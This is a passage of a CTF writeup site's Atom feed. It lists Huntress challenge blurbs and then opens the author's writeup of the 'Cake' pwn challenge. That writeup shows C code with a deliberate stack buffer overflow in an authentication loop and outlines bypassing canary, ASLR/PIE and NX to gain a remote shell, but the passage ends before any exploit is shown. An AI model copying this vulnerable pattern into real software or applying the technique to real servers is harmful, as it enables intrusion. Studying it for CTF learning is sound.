        <id>https://yctf.ch/writeups/huntress/oceanlocust/</id>
        
        <summary>Wow-ee zow-ee!! Some advanced persistent threats have been doing some tricks with hiding payloads in image files!

We thought we would try our hand at it too.

NOTE: this challenge includes a debug build of the binary used to craft the image, as well as a release build... so you may choose to go an easier route or a harder route ;)</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>PillowFight</title>
        <published>2024-09-30T00:00:00+00:00</published>
        <updated>2024-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            Tyr
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/huntress/pillowfight/"/>
        <id>https://yctf.ch/writeups/huntress/pillowfight/</id>
        
        <summary>PillowFight uses _**advanced AI&#x2F;MLRegressionLearning**_ to combine two images of your choosing  
  
*note to investors this is not techically true at the moment we&#x27;re using a python library but please give us money and we&#x27;ll deliver it we promise.  
  
**Press the `Start` button on the top-right to begin this challenge.**</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>Plantopia</title>
        <published>2024-09-30T00:00:00+00:00</published>
        <updated>2024-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            Tyr
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/huntress/plantopia/"/>
        <id>https://yctf.ch/writeups/huntress/plantopia/</id>
        
        <summary>Plantopia is our brand-new, cutting-edge plant care management website! Designed for hobbyists and professionals alike, it&#x27;s your one-stop shop for all plant care needs.  
  
Please perform a penetration test before our site launch and let us know if you find any issues.  
  
Username: `testuser`  
Password: `testpassword`  
  
**Press the `Start` button on the top-right to begin this challenge.**</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>Ran Somewhere</title>
        <published>2024-09-30T00:00:00+00:00</published>
        <updated>2024-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            Ary.eth
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/huntress/ran-somewhere/"/>
        <id>https://yctf.ch/writeups/huntress/ran-somewhere/</id>
        
        <summary>Thanks for joining the help desk! Here&#x27;s your first ticket of the day; can you help the client out?

NOTE, this challenge uses a non-standard flag format. Enter the human-readable name of the location. </summary>
        
    </entry>
    <entry xml:lang="en">
        <title>Russian Roulette</title>
        <published>2024-09-30T00:00:00+00:00</published>
        <updated>2024-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            cstef
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/huntress/russian-roulette/"/>
        <id>https://yctf.ch/writeups/huntress/russian-roulette/</id>
        
        <summary>My PowerShell has been acting really weird!! It takes a few seconds to start up, and sometimes it just crashes my computer!?!?! :(</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>Rustline</title>
        <published>2024-09-30T00:00:00+00:00</published>
        <updated>2024-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            cstef
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/huntress/rustline/"/>
        <id>https://yctf.ch/writeups/huntress/rustline/</id>
        
        <summary>Jerry: A Redline Stealer.
George: Written in Rust.
Jerry: A Rusty Redline Stealer.
George: A Rusty Redline Stealer, Jerry!

We caught a Redline variant executing on an endpoint and intercepted the encrypted files as they traversed the edge proxy. Well, everything except for the flag.txt file (imagine that...). Any chance you could figure out how this thing works and recover the flag? NOTE: Archive password is rustline</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>Strange Calc</title>
        <published>2024-09-30T00:00:00+00:00</published>
        <updated>2024-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            cstef
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/huntress/strange-calc/"/>
        <id>https://yctf.ch/writeups/huntress/strange-calc/</id>
        
        <summary>I got this new calculator app from my friend! But it&#x27;s really weird, for some reason it needs admin permissions to run??</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>Strive Marish Leadman TypeCDR</title>
        <published>2024-09-30T00:00:00+00:00</published>
        <updated>2024-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            glys
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/huntress/strive-marish-leadman-typecdr/"/>
        <id>https://yctf.ch/writeups/huntress/strive-marish-leadman-typecdr/</id>
        
        <summary>Looks like primo hex garbage.
Maybe something went wrong?
Can you make sense of it? </summary>
        
    </entry>
    <entry xml:lang="en">
        <title>System Code</title>
        <published>2024-09-30T00:00:00+00:00</published>
        <updated>2024-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            mango
          </name>
        </author>
        
        <author>
          <name>
            cstef
          </name>
        </author>
        
        <author>
          <name>
            Tyr
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/huntress/system-code/"/>
        <id>https://yctf.ch/writeups/huntress/system-code/</id>
        
        <summary>Follow the white rabbit.

NOTE: Bruteforce is permitted for this challenge instance if you feel it is necessary.

Press the Start button on the top-right to begin this challenge. </summary>
        
    </entry>
    <entry xml:lang="en">
        <title>The Void</title>
        <published>2024-09-30T00:00:00+00:00</published>
        <updated>2024-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            ary.eth
          </name>
        </author>
        
        <author>
          <name>
            mango
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/huntress/the-void/"/>
        <id>https://yctf.ch/writeups/huntress/the-void/</id>
        
        <summary>When you gaze long into the void, the void gazes also into you...</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>Too Many Bits</title>
        <published>2024-09-30T00:00:00+00:00</published>
        <updated>2024-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            Ary.eth
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/huntress/too-many-bits/"/>
        <id>https://yctf.ch/writeups/huntress/too-many-bits/</id>
        
        <summary>Author: @JohnHammond

What do all these ones and zero&#x27;s mean!?! We are in the Warmups category after all...

01100110 01101100 01100001 01100111 01111011 01100100 00110000 00110001 00110100 00110111 00110001 00110111 00110000 00110010 01100001 00110001 00110000 00110001 00110011 00110100 01100011 01100100 01100001 01100100 00110001 01100100 01100100 01100100 01100101 00110000 00110110 00110110 00110111 00111000 01100110 00110010 01100110 01111101</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>TXT Message</title>
        <published>2024-09-30T00:00:00+00:00</published>
        <updated>2024-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            Unknown
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/huntress/txt-message/"/>
        <id>https://yctf.ch/writeups/huntress/txt-message/</id>
        
        <summary>Hmmm, have you seen some of the strange DNS records for the ctf.games domain? One of them sure is odd... </summary>
        
    </entry>
    <entry xml:lang="en">
        <title>X-RAY</title>
        <published>2024-09-30T00:00:00+00:00</published>
        <updated>2024-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            glys
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/huntress/x-ray/"/>
        <id>https://yctf.ch/writeups/huntress/x-ray/</id>
        
        <summary>The SOC detected malware on a host, but antivirus already quarantined it... can you still make sense of what it does? </summary>
        
    </entry>
    <entry xml:lang="en">
        <title>Y2J</title>
        <published>2024-09-30T00:00:00+00:00</published>
        <updated>2024-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            glys
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/huntress/y2j/"/>
        <id>https://yctf.ch/writeups/huntress/y2j/</id>
        
        <summary>Everyone was so worried about Y2K, but apparently it was a typo all along!!

The real world-ending fears were from Y2J! </summary>
        
    </entry>
    <entry xml:lang="en">
        <title>Cake</title>
        <published>2023-11-04T00:00:00+00:00</published>
        <updated>2023-11-04T00:00:00+00:00</updated>
        
        <author>
          <name>
            damien-maier
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/black-alps/cake/"/>
        <id>https://yctf.ch/writeups/black-alps/cake/</id>
        
        <content type="html" xml:base="https://yctf.ch/writeups/black-alps/cake/">&lt;p&gt;I am the author of this challenge. This MD contains some information about the chall and a detailed explanation of how I expected players to solve it.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;challenge-design&quot;&gt;Challenge design&lt;&#x2F;h2&gt;
&lt;p&gt;This challenge is run differently than the usual pwn challenges. Pwn challenges often consist of a program that reads and writes stuff to stdin&#x2F;stdout. The challenge server will wait for TCP connections and, for each TCP connection, it executes the program in a new process with stdin&#x2F;stdout connected to the client socket.&lt;&#x2F;p&gt;
&lt;p&gt;This challenge is different. Here the program itself is the server. It waits for TCP connections in an infinite loop and, when a connection occurs, it forks itself and the child process is responsible for communicating with the client. We will see that this specific design increases the vulnerability of the server.&lt;&#x2F;p&gt;
&lt;p&gt;You may wonder what the purpose of those lines of code is (at the beginning of the &lt;code&gt;welcome&lt;&#x2F;code&gt; function) :&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c z-code&quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span class=&quot;z-source z-c&quot;&gt;&lt;span class=&quot;z-storage z-type z-c&quot;&gt;int&lt;&#x2F;span&gt; a &lt;span class=&quot;z-keyword z-operator z-assignment z-c&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-c&quot;&gt;&lt;span class=&quot;z-support z-function z-C99 z-c&quot;&gt;rand&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-c&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-c&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-c&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-c&quot;&gt;&lt;span class=&quot;z-meta z-group z-c&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-c&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-c&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-c&quot;&gt;&lt;span class=&quot;z-storage z-type z-c&quot;&gt;int&lt;&#x2F;span&gt; b &lt;span class=&quot;z-keyword z-operator z-assignment z-c&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-c&quot;&gt;&lt;span class=&quot;z-support z-function z-C99 z-c&quot;&gt;rand&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-c&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-c&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-c&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-c&quot;&gt;&lt;span class=&quot;z-meta z-group z-c&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-c&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-c&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-c&quot;&gt;&lt;span class=&quot;z-storage z-type z-c&quot;&gt;int&lt;&#x2F;span&gt; c &lt;span class=&quot;z-keyword z-operator z-assignment z-c&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-c&quot;&gt;&lt;span class=&quot;z-support z-function z-C99 z-c&quot;&gt;rand&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-c&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-c&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-c&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-c&quot;&gt;&lt;span class=&quot;z-meta z-group z-c&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-c&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-c&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-c&quot;&gt;&lt;span class=&quot;z-storage z-type z-c&quot;&gt;int&lt;&#x2F;span&gt; d &lt;span class=&quot;z-keyword z-operator z-assignment z-c&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-c&quot;&gt;&lt;span class=&quot;z-support z-function z-C99 z-c&quot;&gt;rand&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-c&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-c&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-c&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-c&quot;&gt;&lt;span class=&quot;z-meta z-group z-c&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-c&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-c&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-c&quot;&gt;&lt;span class=&quot;z-storage z-type z-c&quot;&gt;int&lt;&#x2F;span&gt; e &lt;span class=&quot;z-keyword z-operator z-assignment z-c&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-c&quot;&gt;&lt;span class=&quot;z-support z-function z-C99 z-c&quot;&gt;rand&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-c&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-c&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-c&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-c&quot;&gt;&lt;span class=&quot;z-meta z-group z-c&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-c&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-c&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-c&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-c&quot;&gt;&lt;span class=&quot;z-storage z-type z-c&quot;&gt;unsigned&lt;&#x2F;span&gt; &lt;span class=&quot;z-storage z-type z-c&quot;&gt;int&lt;&#x2F;span&gt; subject_number &lt;span class=&quot;z-keyword z-operator z-assignment z-c&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-group z-c&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-c&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-storage z-type z-c&quot;&gt;unsigned&lt;&#x2F;span&gt; &lt;span class=&quot;z-storage z-type z-c&quot;&gt;int&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-c&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-group z-c&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-c&quot;&gt;(&lt;&#x2F;span&gt;a&lt;span class=&quot;z-keyword z-operator z-arithmetic z-c&quot;&gt;+&lt;&#x2F;span&gt;b&lt;span class=&quot;z-keyword z-operator z-arithmetic z-c&quot;&gt;+&lt;&#x2F;span&gt;c&lt;span class=&quot;z-keyword z-operator z-arithmetic z-c&quot;&gt;+&lt;&#x2F;span&gt;d&lt;span class=&quot;z-keyword z-operator z-arithmetic z-c&quot;&gt;+&lt;&#x2F;span&gt;e&lt;span class=&quot;z-punctuation z-section z-group z-end z-c&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-arithmetic z-c&quot;&gt;%&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-c&quot;&gt;1000&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-c&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-c&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-c&quot;&gt;&lt;span class=&quot;z-storage z-type z-c&quot;&gt;char&lt;&#x2F;span&gt; subject_number_string&lt;span class=&quot;z-meta z-brackets z-c&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-begin z-c&quot;&gt;[&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-c&quot;&gt;100&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-end z-c&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-c&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-c&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-c&quot;&gt;&lt;span class=&quot;z-variable z-function z-c&quot;&gt;snprintf&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-c&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-c&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-c&quot;&gt;&lt;span class=&quot;z-meta z-group z-c&quot;&gt;subject_number_string&lt;span class=&quot;z-punctuation z-separator z-c&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-c&quot;&gt;100&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-c&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-c&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-c&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-other z-placeholder z-c&quot;&gt;%d&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-c&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-c&quot;&gt;,&lt;&#x2F;span&gt; subject_number&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-c&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-c&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-c&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Actually this is just a way to force the compiler to use more registers for this function, which is necessary for the binary to include an ROP gadget needed for the attack.&lt;&#x2F;p&gt;
&lt;p&gt;The program is compiled with a modern gcc and without disabling any security. The only compilation flag is &lt;code&gt;-O3&lt;&#x2F;code&gt; to enable optimisations. Yet we will see that we are able to bypass all mitigations and get a remote shell.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-buffer-overflow&quot;&gt;The buffer overflow&lt;&#x2F;h2&gt;
&lt;p&gt;The vulnerability is inside the &lt;code&gt;authenticate&lt;&#x2F;code&gt; function, right at the top of the source file.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c z-code&quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span class=&quot;z-source z-c&quot;&gt;&lt;span class=&quot;z-storage z-type z-c&quot;&gt;char&lt;&#x2F;span&gt; password&lt;span class=&quot;z-meta z-brackets z-c&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-begin z-c&quot;&gt;[&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-c&quot;&gt;100&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-end z-c&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-c&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-block z-c&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-begin z-c&quot;&gt;{&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-block z-end z-c&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-c&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-c&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-c&quot;&gt;&lt;span class=&quot;z-storage z-type z-c&quot;&gt;char&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-c&quot;&gt;*&lt;&#x2F;span&gt;password_pointer &lt;span class=&quot;z-keyword z-operator z-assignment z-c&quot;&gt;=&lt;&#x2F;span&gt; password&lt;span class=&quot;z-punctuation z-terminator z-c&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-c&quot;&gt;&lt;span class=&quot;z-storage z-type z-c&quot;&gt;char&lt;&#x2F;span&gt; input_char&lt;span class=&quot;z-punctuation z-terminator z-c&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-c&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-c&quot;&gt;&lt;span class=&quot;z-keyword z-control z-c&quot;&gt;while&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-c&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-c&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-c&quot;&gt;1&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-c&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-block z-c&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-begin z-c&quot;&gt;{&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-c&quot;&gt;&lt;span class=&quot;z-meta z-block z-c&quot;&gt;    &lt;span class=&quot;z-support z-type z-sys-types z-c&quot;&gt;ssize_t&lt;&#x2F;span&gt; read_return &lt;span class=&quot;z-keyword z-operator z-assignment z-c&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-c&quot;&gt;&lt;span class=&quot;z-variable z-function z-c&quot;&gt;read&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-c&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-c&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-c&quot;&gt;&lt;span class=&quot;z-meta z-group z-c&quot;&gt;file_descriptor&lt;span class=&quot;z-punctuation z-separator z-c&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-c&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;input_char&lt;span class=&quot;z-punctuation z-separator z-c&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-c&quot;&gt;1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-c&quot;&gt;&lt;span class=&quot;z-meta z-group z-c&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-c&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-c&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-c&quot;&gt;&lt;span class=&quot;z-meta z-block z-c&quot;&gt;    &lt;span class=&quot;z-keyword z-control z-c&quot;&gt;if&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-group z-c&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-c&quot;&gt;(&lt;&#x2F;span&gt;read_return &lt;span class=&quot;z-keyword z-operator z-comparison z-c&quot;&gt;&amp;lt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-c&quot;&gt;0&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-arithmetic z-c&quot;&gt;||&lt;&#x2F;span&gt; input_char &lt;span class=&quot;z-keyword z-operator z-comparison z-c&quot;&gt;==&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-single z-c&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-c&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-character z-escape z-c&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-c&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-c&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-block z-c&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-begin z-c&quot;&gt;{&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-c&quot;&gt;&lt;span class=&quot;z-meta z-block z-c&quot;&gt;&lt;span class=&quot;z-meta z-block z-c&quot;&gt;        &lt;span class=&quot;z-keyword z-control z-flow z-break z-c&quot;&gt;break&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-c&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-c&quot;&gt;&lt;span class=&quot;z-meta z-block z-c&quot;&gt;&lt;span class=&quot;z-meta z-block z-c&quot;&gt;    &lt;span class=&quot;z-punctuation z-section z-block z-end z-c&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-c&quot;&gt;&lt;span class=&quot;z-meta z-block z-c&quot;&gt;    &lt;span class=&quot;z-keyword z-operator z-c&quot;&gt;*&lt;&#x2F;span&gt;password_pointer &lt;span class=&quot;z-keyword z-operator z-assignment z-c&quot;&gt;=&lt;&#x2F;span&gt; input_char&lt;span class=&quot;z-punctuation z-terminator z-c&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-c&quot;&gt;&lt;span class=&quot;z-meta z-block z-c&quot;&gt;    password_pointer&lt;span class=&quot;z-keyword z-operator z-arithmetic z-c&quot;&gt;++&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-c&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-c&quot;&gt;&lt;span class=&quot;z-meta z-block z-c&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-end z-c&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This code will read data from the socket byte by byte, in an infinite loop, and write it in the &lt;code&gt;password&lt;&#x2F;code&gt; buffer. We only exit the loop when a &lt;code&gt;\n&lt;&#x2F;code&gt; is received (or if the socket is closed), there is nothing that checks that the received data fits inside &lt;code&gt;password&lt;&#x2F;code&gt;. Thus, we can do a buffer overflow on the stack.&lt;&#x2F;p&gt;
&lt;p&gt;However, as the modern mitigations are present, this is not trivial to exploit. We will face the following obstacles :&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;The stack canary is here to prevent us from overwriting the return address of the function&lt;&#x2F;li&gt;
&lt;li&gt;Even if we manage to bypass the canary, ASLR is enabled and the program is PIE, so we have no idea what to write at the return address location&lt;&#x2F;li&gt;
&lt;li&gt;Even if we bypass ASLR, the stack is not executable and, more generally, all the executable areas of the process memory are read only&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Let see how to bypass all of this and get a shell.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-stack-layout&quot;&gt;The stack layout&lt;&#x2F;h2&gt;
&lt;p&gt;To understand what we are overwriting when we trigger the overflow, let&#x27;s attach gdb to the process and draw the interesting part of the stack.&lt;&#x2F;p&gt;
